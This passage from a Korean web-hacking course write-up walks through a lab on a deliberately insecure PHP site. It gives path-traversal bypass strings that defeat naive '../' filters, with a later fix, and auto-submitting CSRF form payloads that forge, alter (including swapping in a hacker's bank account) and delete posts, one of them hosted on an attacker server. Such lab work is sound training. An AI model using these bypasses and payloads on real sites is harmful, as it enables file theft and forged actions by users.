이를 통해 upload 폴더가 웹 서버의 업로드 디렉터리임을 확실히 알 수 있게되었다.

실습7-2 개발자분들이 자주 실수하는 잘못된 대응 방안 적용

1) ../ 제거

2) ./ , ../ 제거

3) 윈도우 환경에서 / 문자 제거

4) 윈도우 환경에서 / 문자 필터링, ./ ../

../ 문자열 입력값 검증에 대한 치환(제거)에 대한 실수

→ ../ 문자열을 제거하게되면 우회가 발생할 수 있다.

에러 발생시켜서 경고창 출력 및 로직 중단

→ 이상적인 대응 방안

파일 다운로드 기능이 있는 코드 download.php 를 확인해본다.

위치: C:\APM_Setup\htdocs\insecure_website

<?
    include_once("./common.php");
    header("Content-Type: text/html; charset=UTF-8");

    $file = $_GET["file"];
    
    if(empty($file)) {
        echo "<script>alert('값이 입력되지 않았습니다.');history.back(-1);</script>";
        exit();
    }


    if(empty($file)) {
        echo "<script>alert('파일 다운로드에 실패하였습니다.');history.back(-1);</script>";
        exit();
    }

    $filepath = "{$upload_path}/{$file}";

    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename={$file}");

    @readfile($filepath);
?>

보통 파일명을 받을 때, original file name 과 real file name 2개를 받도록 로직을 설계 한다.

original file 은 header 에 위치하게 되고, real file 은 실제 서버에 업로드된 파일이다.

그러므로 실제 경로조작을 할 때는 real file 을 건드려야 한다.

이제 ../ 와 ..\ 문자열에 대한 치환(제거) 코드를 추가해본다.

<?
    include_once("./common.php");
    header("Content-Type: text/html; charset=UTF-8");

    $file = $_GET["file"];
    
    if(empty($file)) {
        echo "<script>alert('값이 입력되지 않았습니다.');history.back(-1);</script>";
        exit();
    }

    $file = str_replace("../", "", $file);
    $file = str_replace("..\\", "", $file);

    if(empty($file)) {
        echo "<script>alert('파일 다운로드에 실패하였습니다.');history.back(-1);</script>";
        exit();
    }

    $filepath = "{$upload_path}/{$file}";

    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename={$file}");

    @readfile($filepath);
?>

insecure_website 에서 파일 다운로드를 시도한다.

버프스위트를 켜고 Intercept On 후 text_file.txt 파일을 클릭한다.

이후 패킷이 잡히면 리피터로 전송한다. ( Ctrl + R )

Send 를 클릭 또는 Ctrl + space 를 입력하여 test_file.txt 다운로드에 대한 요청을 전송한다.

기본적인 test_file.txt 는 정상적으로 다운로드 된다. ( test 문자열 확인 )

../ 문자열을 추가하여 다운로드 요청을 보낸다.

../ 문자열은 제거가 되고 test_file.txt 파일이 다운로드 되는 것을 알 수 있다.

원래는 다운로드가 되면 안되지만, ../ 문자열을 제거하니까 test_file.txt 원본 파일이름과 동일하게 되어 다운로드 되는 것을 알 수 있다.

이번에는 파일 중간에 ../ 를 입력하여 파일 다운로드 요청을 전송한다.

../ 문자열이 제거되어 test_file.txt 파일이 다운로드 되었다.

..\ 문자열을 파일 중간에 입력하여 파일 다운로드 요청을 전송한다.

..\ 역시 제거 되어 test_file.txt 파일이 다운로드 되는 것을 확인할 수 있다.

이를 통해 ../ 와 ..\ 문자열 모두 제거되는 것을 알 수 있다.

그렇다면 어떻게 우회하여 상위 디렉터리로 접근해서 index.php 파일을 다운로드 할 수 있을까?

../ 문자열은 제거가 되니까, ../ 이 제거되도 ../ 이 남도록 입력해본다.

..././index.php 를 입력

→ ..././ 에서 ../ 이 제거되도, . ./ 문자열이 합쳐져서 ../ 이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.

또는 ....// 를 입력해도 우회가 가능하다.

....//index.php 를 입력

→ ....// 에서 ../ 이 제거되도, .. / 문자열이 합쳐져서 ../ 이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.

위와 동일하게 ..\ 문자열도 적용할 수 있다.

...\.\index.php 를 입력

→ ...\.\ 에서 ..\ 이 제거되도, . .\ 문자열이 합쳐져서 ..\ 이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.

....\\index.php 를 입력

→ ....\\ 에서 ..\ 이 제거되도, .. \ 문자열이 합쳐져서 ..\ 이 되므로 상위 디렉터리로 이동하는 경로 이동 문자가 된다.

이번에는 download.php 에 ./ 와 .\ 를 제거하는 코드를 추가해본다.

<?
    include_once("./common.php");
    header("Content-Type: text/html; charset=UTF-8");

    $file = $_GET["file"];
    
    if(empty($file)) {
        echo "<script>alert('값이 입력되지 않았습니다.');history.back(-1);</script>";
        exit();
    }

    $file = str_replace("./", "", $file);
    $file = str_replace(".\\", "", $file);
    $file = str_replace("../", "", $file);
    $file = str_replace("..\\", "", $file);

    if(empty($file)) {
        echo "<script>alert('파일 다운로드에 실패하였습니다.');history.back(-1);</script>";
        exit();
    }

    $filepath = "{$upload_path}/{$file}";

    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename={$file}");

    @readfile($filepath);
?>

이후 다시 기존 방법으로 다운로드를 시도하면 파일 다운로드가 되지 않는다.

./ 와 ../ 모두 제거가 되기 때문에

.....///index.php 를 입력하면 우회가 가능하다.

→ ...../// 에서 ./ 가 제거되어 ....// 가 되고, ../ 가 제거 되어 마지막에 ../ 가 된다.

/ 를 제거하는 코드를 추가한다.

<?
    include_once("./common.php");
    header("Content-Type: text/html; charset=UTF-8");

    $file = $_GET["file"];
    
    if(empty($file)) {
        echo "<script>alert('값이 입력되지 않았습니다.');history.back(-1);</script>";
        exit();
    }

    $file = str_replace("/", "", $file);

    if(empty($file)) {
        echo "<script>alert('파일 다운로드에 실패하였습니다.');history.back(-1);</script>";
        exit();
    }

    $filepath = "{$upload_path}/{$file}";

    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename={$file}");

    @readfile($filepath);
?>

/ 를 제거하는 경우, 리눅스에서는 ../ 상위 문자열 이동이 어렵지만, 윈도우에서는 \ 역슬래시가 있어 가능하다.

..\index.php 를 입력하여 우회가 가능하다.

4) 대응 방안

전체 경로 + 파일명 → 사용자 입력 값을 토대로 어플리케이션에서 직접 파일시스템에 접근

일부 경로 + 파일명 → 일반적인 경우(자주 사용하는 방법), 어플리케이션에서 직접 파일시스템에 접근

파일명 → 소규모 웹 사이트에 적합, 어플리케이션에서 직접 파일시스템에 접근

키(Key) 값 → 간접적인 다운로드 방법, 사용자 입력값 받은 후 DB에 질의하여 idx=192 에 대한 파일명 반환받음

전체 경로 + 파일명

예전에는 많이 있었으나, 최근에는 거의 없음

→ 시스템 전체 경로가 사용자에게 노출되어 보안상 취약한 설계

일부 경로 + 파일명

오늘날 웹에서 가장 많이 사용하는 파일 다운로드 기능의 설계 방식

→ 경로와 파일명 2개의 파라미터에 대해서 올바른 검증 절차가 구현되어야 함

검증 방법

→ 2개의 파라미터에 경로 이동 문자 ../ , ..\ 등 이 존재하는 경우 에러 메시지 출력 및 로직 종료

\ 역슬러시를 / 슬러시 문자로 치환하는 이유

→ 윈도우는 \ 역슬래시도 사용하기 때문에, 검증할때 굳이 \ 를 추가로 넣지않고 / 로 통일하기 위해

파일명

파일명 파라미터에 대해서만 / 와 .. 문자에 대해서만 검증한다.

윈도우 서버인 경우에는 \ 역슬래시를 / 슬래시로 치환 후 / 슬래시로만 통일하여 검증

키(Key) 값

키(Key) 값을 받는다고 해서 무조건 안전한건 아니다.

PrepareStatement 가 아닌 Statement 인 경우에는 SQL Injection 에 취약하다.

SQL Injection 을 통해서 파일 다운로드 취약점으로 연계시킬 수 있는 공격이 가능하다.

실습7-4 취약 환경 시큐어 코딩 적용 실습

파일 다운로드 취약점에 대한 시큐어 코딩을 적용하기 위해 download.php 파일을 연다.

위치: C:\APM_Setup\htdocs\insecure_website

strpos 함수

- 지정된 변수에 지정된 문자가 있는지 위치값을 반환해준다.

- 대상 문자열을 앞에서 부터 검색하여 찾고자 하는 문자열이 몇번째 위치에 있는지를 리턴하는 함수

- 문자가 없으면 False 가 출력됨

< download.php 에 시큐어 코딩 적용 >

<?
    include_once("./common.php");
    header("Content-Type: text/html; charset=UTF-8");

    $file = $_GET["file"];
    
    if(empty($file)) {
        echo "<script>alert('값이 입력되지 않았습니다.');history.back(-1);</script>";
        exit();
    }

    $file = str_replace("\\", "/", $file);

    if(strpos($file, "/") !== false || strpos($file, "..") !== false ) {
        echo "<script>alert('허용되지 않은 문자가 입력되었습니다.');history.back(-1);</script>";
        exit();
    }

    if(empty($file)) {
        echo "<script>alert('파일 다운로드에 실패하였습니다.');history.back(-1);</script>";
        exit();
    }

    $filepath = "{$upload_path}/{$file}";

    header("Content-Type: application/octet-stream");
    header("Content-Disposition: attachment; filename={$file}");

    @readfile($filepath);
?>

\ 역슬래시는 / 슬래시로 치환하여 / 슬래시로 통일하여 검증한다.

여기서는 파일명만 노출되어 있기 때문에 / 문자열만 필터링해도 되지만, 일반적인 파일 다운로드 기능에는 일부 경로 + 파일명이 되어 있는 경우가 있으므로 .. 문자열도 같이 필터링해준다.

위치값 반환 시 0이 출력되는 경우가 있는데 0은 첫번째 인덱스라는 의미가 있지만, php 에서는 0은 False 의 의미를 가지고 있으므로, != 가 아닌 !== 를 사용하여 0인 위치값이 반환되도 False 로 인식하지 않게 해준다.

시큐어 코딩 적용 후 파일 다운로드 기능에 대해 다시 공격을 시도해본다.

..\index.php 를 입력하여 상위 디렉터리의 index.php 다운로드를 시도한다.

/ , \ , .. 를 입력해본다.

원래 다운로드 가능한 file_test.txt 파일은 다운로드가 가능하다. (파일 다운로드 기능 정상 동작)

이를 통해 파일 다운로드 기능은 정상적으로 동작하면서 파일 다운로드 취약점에 대한 시큐어 코딩이 완료된 것을 확인할 수 있다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

CSRF(Cross-Site Request Forgery)

Security Engineer — Sat, 8 Feb 2025 22:00:18 +0900

1) CSRF란 무엇인가?

CSRF(Cross-Site Request Forgery)

- 사이트간 요청 위조라는 의미를 가지고 있다.

- 공격자는 사용자가 의도하지 않은 작업을 수행할 수 있도록 유도하는 취약점

- 사용자가 의도하지 않은 요청이 공격자에 의해 수행된다.(ex: 사용자 정보 수정, 게시글 작성/수정/삭제, 회원탈퇴 등)

- 악성 스크립트를 읽음으로써 사용자도 모르게 SNS에 게시글이 작성되는 등의 행위가 발생함

SQL Injection 같은 경우에는 공격자가 공격 구문을 넣고, 공격자가 파라미터를 변조하는 등 공격자의 직접적인 행위에 의해 공격이 발생한다.

CSRF는 Client-Side Script 로 작성된 악성 스크립트를 사용자에게 읽게끔하여 공격자가 의도한 사용자 정보 수정, 패스워드 변경, 회원 탈퇴 등의 행위를 사용자가 직접 하도록 유도하는 공격이다.

2) 공격 원리 분석

1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 패스워드를 자동으로 변경 요청하는 스크립트)

2. DB에 악성 스크립트가 저장된다.

3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.

4. 게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.

5. 게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)

6. 사용자는 웹 서비스에 패스워드를 변경하는 요청을 보낸다. (사용자가 의도하지 않은 요청)

위 예시는 1개의 사이트에서 악성 스크립트도 읽고 요청도 발생했다.

1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.(ex: 읽으면 회원탈퇴를 자동 요청하는 스크립트)

2. DB에 악성 스크립트가 저장된다.

3. 인증된 사용자가 해당 게시글을 클릭하여 읽는다.

4. 게시글에 포함된 악성 스크립트가 DB에서 웹 페이지로 전달된다.

5. 게시글에 담긴 악성 스크립트가 사용자의 웹 브라우저에서 발생된다. (Client-Side Script 로 작성된 악성 스크립트)

6. 사용자는 다른 취약한 웹 서비스에 회원탈퇴를 요청하는 요청을 보낸다. (사용자가 의도하지 않은 요청)

위 예시는 게시글을 읽는 사이트와 최종 요청을 하는 사이트가 다른 경우이다.

3) XSS vs CSRF

XSS

- 악성 스크립트를 읽은 후 공격자 서버로 요청 후 응답을 통해 사용자에게 악성 행위 시도(악성코드 감염, 세션 탈취 등)

- 공격 대상: 사용자(클라이언트)

CSRF

- 악성 스크립트를 읽은 후 사용자가 의도하지 않은 작업을 한다. (게시글 작성, 회원탈퇴 등)

- 정상적인 웹 서비스에 사용자가 의도하지 않은 요청을 통해서 서버를 대상으로 악성 행위 시도

- 명확한 공격 페이로드가 존재하는 것이 아닌, 사용자의 요청을 인해 발생하므로 알아채기 어려움

- 공격 대상: 서버

실습6-1 CSRF 공격을 통한 게시글 무단 작성, 수정, 삭제 실습

CSRF 공격 원리 분석의 예시(1)을 참고하여 공격을 진행해본다.

위 예시와 같이 CSRF 공격이 통하려면 HTML 태그가 먹혀야 한다. ( XSS 공격에 취약한 웹 사이트인 경우 공격 가능 )

이전에 XSS 공격에 대해 시큐어코딩을 적용하였기 때문에, action.php 에서 관련 시큐어 코딩 부분을 삭제한다.

action.php 내 write 모드의 content 부분만 XSS 공격에 대한 시큐어 코딩을 주석처리한다.

→ 게시글 작성 부분에 XSS, CSRF 취약점 존재

< action.php 의 write 모드의 content 부분 XSS 시큐어 코딩 삭제 >

	if($mode == "write") {
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		#$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

이후 게시글을 무단으로 작성하는 실습을 진행한다.

호스트 PC(피해자)와 VMWare(공격자) 2개를 사용하여 실습을 진행한다.

호스트 PC에서는 관리자 계정으로 로그인하며, VMWare 에서는 해커 계정으로 로그인 한다.

VMWare 에서 해커 계정으로 게시글을 작성한다.

VMWare 는 칼리리눅스가 설치되어 있는데, 한글 폰트가 깨져서 한글 폰트를 설치 한다.

여기를 참고하여 진행한다.

게시글 내용에는 해당 사용자의 권한으로 다른 게시글이 작성되는 악성 스크립트를 작성하여 실습을 진행할 예정이다.

먼저 해커 계정에서 XSS 취약점이 존재하는지 확인하기 위해 게시글에 스크립트를 입력한다.

게시글 작성 후 해당 게시글 클릭 시 아래와 같이 경고창이 출력되는 것을 확인할 수 있다. (XSS 취약점 존재)

XSS 취약점이 존재하므로, CSRF 공격도 가능한 것을 알 수 있다.

무단으로 게시글을 작성하게 하는 CSRF 공격에 대한 페이로드를 작성한다.

페이로드를 작성하기 위해서는 write 의 form이 어떤 형식으로 구성되어 있는지 확인해야 한다.

우측 상단의 Write 를 클릭하여 게시글 작성 모드로 들어간 후, 마우스 우측 클릭하여 페이지 소스보기로 확인한다.

위 페이지의 소스코드를 참고하여 페이로드를 작성한다.

버프스위트에서 Write 버튼을 클릭하면 아래와 같이 각 입력값에 해당하는 파라미터를 확인할 수 있다.

공격 페이로드

<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>

글을 읽은 사람이 제출 버튼을 클릭하면 무단으로 게시글을 작성하는 코드다.

127.0.0.1 이 아닌 192.168.56.1로 IP를 바꾼 이유는 127.0.0.1은 해커의 환경(VMWare)에서는 접속이 불가하여 사설 IP(192.168.56.1)로 입력하였다.

127.0.0.1 = 192.168.56.1(해커 접속 가능)

VMWare 에서 해커 계정으로 접속한다.

contents 에 작성한 CSRF 공격 페이로드를 입력 후 게시글을 작성한다.

로컬 PC에서 관리자 계정으로 접속 후 해당 게시글을 확인한다.

제출 버튼을 클릭해본다.

제출 버튼을 클릭하자마자 35번 게시글이 자동으로 작성된 것을 확인할 수 있다.

관리자 권한으로 게시글이 작성된 것을 확인할 수 있다.

관리자 계정에서 제출 버튼을 누르면 어떻게 요청되는지 버프스위트에서 확인해본다.

위와 같이 정상적인 요청이 서버에 전달된다.

→ 관리자가 직접 게시글 작성했을때 form 과 동일하다.

그래서 서버는 해당 요청을 정상요청으로 판단하여 글을 작성하게 된다.

해커가 의도한 게시글 작성이 무단으로 되는 것을 확인할 수 있다.

하지만 위와 같은 상황은 제출이라는 버튼을 클릭해야하므로 상당히 부자연스러운 행위로 볼 수 있다.

그러므로 제출 버튼을 클릭하지 않고 게시글을 확인했을때 자동으로 게시글을 작성하는 페이로드를 작성해본다.

→ 자동으로 게시글 작성되는 경우 공격 확률이 훨씬 높아진다.

다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.

delect from insecure_board;

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="해커가 무단으로 작성한 게시글">
<input type="hidden" name="password" value="test">
<input type="hidden" name="content" value="해커가 작성함">
<input type="hidden" name="mode" value="write">
<input type="submit">
</form>
</body>

onload 이벤트

→ HTML 문서의 모든 리소스(이미지, CSS, 스크립트 등)가 로드된 후 실행되는 이벤트
→ 즉, 페이지가 완전히 로드되었을 때 자동으로 특정 작업을 수행할 수 있음.

document.forms[0]
→ 현재 문서(document) 내의 모든 <form> 요소를 배열(HTMLCollection)로 저장한 객체.
→ forms[0]는 첫 번째 <form> 요소를 의미함.

.submit() 메서드

→ <form> 요소의 제출(submit) 동작을 강제로 실행.
→ 즉, 사용자가 버튼을 클릭하지 않아도 자동으로 폼을 서버로 전송함.

동작 과정
1. 웹 페이지가 로드됨 (<body onload="..."> 실행).
2. 첫 번째 <form>을 document.forms[0]으로 선택.
3. 선택된 폼의 .submit() 메서드를 호출하여 자동 제출.

결론

- 웹 페이지가 로드되자마자 첫 번째 폼을 자동 제출하는 기능을 수행함.

VMWare 에서 해커 계정으로 다음과 같이 페이로드를 입력 후 게시글을 작성한다.

로컬 PC의 관리자 계정에서 해당 게시글을 클릭한다.

게시글을 클릭하니 자동으로 아래와 같이 관리자 권한으로 게시글이 작성된다.

관리자는 CSRF 페이로드가 입력된 게시글을 읽자마자 다른 게시글을 자동으로 작성하였다.

→ 사용자가 의도하지 않은 행위를 유도(게시글 작성)

다수의 게시글이 작성되어 있는 경우 MySQL에서 한번에 삭제할 수 있다.

delect from insecure_board;

insecure_website 에서 게시글 수정과 삭제에서도 CSRF 공격을 하기 위해서는 소스코드 수정이 필요하다.

게시글 수정과 삭제 시 password를 받고 있는데, 이는 일반적인 게시글 수정 형태가 아닐뿐만 아니라 password를 모르는 경우 실습 자체가 불가능하기 때문에 password 검증 로직 대신 세션 검증을 하는 코드를 작성한다.

(CSRF 공격은 피해자가 모르는 상황에서 공격자가 의도한 특정 행위를 해야하는데, 공격자는 게시글의 password를 모르는 상태에서 게시글 수정 및 삭제를 할 수 없으므로 CSRF 공격 자체가 불가능함)

< action.php 의 modify 및 delete 부분의 password logic 코드를 주석 처리 후 세션 검증 코드 작성 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		#$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\\r\\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = xss_html($db_conn->real_escape_string($_POST["content"]));
		$secret = $_POST["secret"];
		$uploadFile = xss_html_entity($_POST["oldfile"]);

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}		

		# Password Check Logic
		#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\\r\\n", "<br>", $content);
		$uploadFile = $db_conn->real_escape_string($uploadFile);

		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}				
		
		# Password Check Logic
		#$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$query = "select * from {$tb_name} where idx={$idx} and id='{$_SESSION["id"]}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			#echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			echo "<script>alert('잘못된 요청 입니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

세션 검증 코드 작성 후 로컬PC의 관리자 계정으로 게시글을 작성해본다.

관리자가 특정 은행 계좌로 돈을 입금 받는 게시글을 작성한다.

해커는 본인의 계좌번호로 입금받도록 해당 게시글을 수정하는 CSRF 공격을 진행한다.

공격자는 이 게시글을 발견하고 이 게시글 내 계좌번호를 본인의 계좌번호로 변경하는 CSRF 공격을 진행한다.

VMWare 에서 해커 계정으로 로그인한다.

CSRF 공격을 하기 위해서는 요청값을 정확하게 알아야 한다.

해커 계정으로 test 게시글 작성 후 게시글 수정에서 필요한 파라미터가 무엇인지 확인해본다.

게시글 무단 작성 시에도 요청값을 확인했듯이, 버프스위트에서 게시글 수정 버튼을 클릭하여 어떻게 수정 요청이 이루어지는지 확인할 수 있다.

게시글 수정 페이지의 소스코드 보기를 통해서도 확인이 가능하다.

게시글 수정 요청하는 CSRF 공격 페이로드

여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 수정이 가능하다.(빈칸 입력 시 게시글 수정 불가)

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="계좌번호 정보입니다.">
<input type="hidden" name="password" value="a">
<input type="hidden" name="content" value="* 은행: 테스트 은행
* 예금주: 해커
* 계좌번호: 1212-1212-1212

모든 상품에 대한 입금은 해당 계좌로 입금해주세요">
<input type="hidden" name="idx" value="42">
<input type="hidden" name="mode" value="modify">
<input type="submit">
</form>
</body>

게시글을 수정하는 대상(작성자)가 읽을만한 게시글을 작성해야 한다.

공격자는 위 CSRF 페이로드를 사용하여 관리자가 혹할만한 게시글을 작성한다.

로컬 PC의 관리자 계정으로 해당 게시글을 확인해본다.

관리자가 CSRF 페이로드가 입력된 게시글을 확인하자, 기존에 작성했던 계좌번호 정보 게시글이 해커의 계좌번호로 변경된 것을 확인할 수 있다.

버프스위트에서 해당 요청값을 확인해본다.

해커가 작성한 게시글을 읽었을뿐인데, 관리자가 작성한 게시글이 자동으로 수정되는 것을 알 수 있다.

→ HTTP history 에서 idx=44 게시글(해커가 작성한 게시글)을 통해서 idx=42 게시글(관리자의 계좌번호 게시글)을 수정하는 요청이 이루어지는 것을 알 수 있다.

세션 검증 로직을 사용해도, 서버는 게시글 작성자의 정상적인 수정 요청으로 인식하여 게시글을 수정하게된다.

이를 통해 공격자는 피해자가 의도하지 않은 게시글 무단 수정을 할 수 있게 된다.

이전의 게시글을 MySQL에서 한번에 삭제한다.

delect from insecure_board;

이번에는 게시글 무단 삭제 실습을 진행한다.

로컬 PC의 관리자 계정으로 삭제할 게시글을 작성한다.

VMWare 에서 해커 계정으로 test 게시글을 작성한다.

버프스위트로 test 게시글의 삭제 요청을 확인한다.

password 검증 로직은 주석 처리하였으므로, password에는 임의의 값만 입력하면 게시글은 삭제가 가능하다.

게시글 수정 요청하는 CSRF 공격 페이로드

여기서 password 부분은 검증 로직이 없기 때문에 임의의 문자열을 입력해도 게시글 삭제가 가능하다.

idx 에는 삭제할 게시글 번호를 입력해주고, enctype="multipart/form-data" 는 삭제해준다.

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="45">
<input type="hidden" name="mode" value="delete">
<input type="submit">
</form>
</body>

해커는 관리자가 읽을만한 게시글을 작성한다.

게시글 내용에는 idx=45 게시글을 삭제하는 CSRF 공격 페이로드를 입력한다.

관리자는 해당 게시글을 클릭한다.

게시글을 클릭하는 순간, 관리자가 작성한 공지사항이 삭제되는 것을 확인할 수 있다.

버프스위트의 HTTP history 확인 시, 관리자가 idx=48 게시글을 읽음으로써, idx=45 게시글 삭제 요청을 한 것을 알 수 있다.

이를 통해 CSRF 공격을 활용하여 게시글 무단 삭제 실습까지 완료하였다.

현재까지 진행했던 공격은 공격자가 특정 사이트에 악성 스크립트를 저장하여, 피해자는 해당 악성 스크립트를 읽게됨으로써 공격자가 의도한 행위를 자신도 모르게 실행하게 되었다. (1개 사이트)

이번에 진행할 실습은 서로 다른 사이트(2개 사이트)에서 진행된다.

공격자는 자신의 서버에 CSRF 공격 페이로드가 담긴 악성 스크립트를 저장한다.

공격자는 해당 서버로 연결되는 URL을 사용자에게 전달하여, 사용자는 해당 URL을 통해 악성 스크립트를 읽게 되어 insecure_website에서 공격자가 의도한 요청을 실행하게 된다.

로컬 PC의 관리자 계정으로 삭제 대상 게시글을 작성한다.

공격자 서버의 URL을 사용하기 위해서는 현재 해커 PC로 사용하는 VMWare 의 칼리리눅스에서 먼저 아파치 서버를 기동시켜줘야 한다. 만약 아파치 서버가 설치되어 있지 않다면, 설치 부터 진행한다.

sudo apt-get install apache2

sudo service apache2 start

이후 VMWare 칼리리눅스(해커 PC)의 IP인 192.168.197.138 로 접속하거나, 127.0.0.1, localhost 로 접속해본다.

위와 같이 Apache2 페이지에 접속된다면 성공적으로 서버가 기동된 것이다.

VMWare 에서 악성 스크립트가 담긴 페이지를 생성한다. (공격자 서버에서 CSRF 페이로드 저장)

VMWare 에서 /var/www/html 에서 폴더를 생성하기 위해서는 root 권한으로 사용해야 가능하다.

VMWare 내 악성 스크립트 저장 위치: /var/www/html/csrf/index.php

공격 페이로드

<body onload="document.forms[0].submit()">
<form action="http://192.168.56.1/insecure_website/action.php" method="POST">
<input type="hidden" name="password" value="a">
<input type="hidden" name="idx" value="49">
<input type="hidden" name="mode" value="delete">
<input type="submit">
</form>
</body>

공격자는 자신의 서버에 저장되어 있는 악성 스크립트가 담긴 URL을 사용자에게 전달한다.

여기서 중요한 것은 게시글 작성자의 세션이 있어야 하므로, 관리자가 현재 로그인한 상태에서 해당 URL을 접속해야 성공적으로 게시글이 삭제된다는 것이다.

공격자 서버 주소: http://192.168.197.138/csrf/

만약 관리자 계정으로 로그인되지 않은 경우라면 아래와 같이 악성 스크립트가 담긴 URL에 접속하게 되어도 잘못된 요청이라는 에러 메시지가 발생한다. (삭제할 게시글의 작성자 세션값과 현재 로그인한 사용자의 세션값이 불일치함)

해커는 관리자가 클릭할만한 게시글을 작성하여 악성 스크립트가 담긴 URL에 접속하도록 유도한다.

관리자는 해당 게시글을 클릭 후 링크에 접속하게된다.

해당 링크를 클릭 후 관리자가 작성했던 게시글이 삭제된 것을 확인할 수 있다.

실제로 CSRF 공격은 다음과 같이 진행될 수 있다.

페이스북과 네이버에 로그인 중인 사용자가 있다고 가정한다.

1. 공격자는 페이스북의 게시글 작성 요청값을 분석하여 페이스북 게시글을 무단으로 작성하는 악성 스크립트를 생성한다.

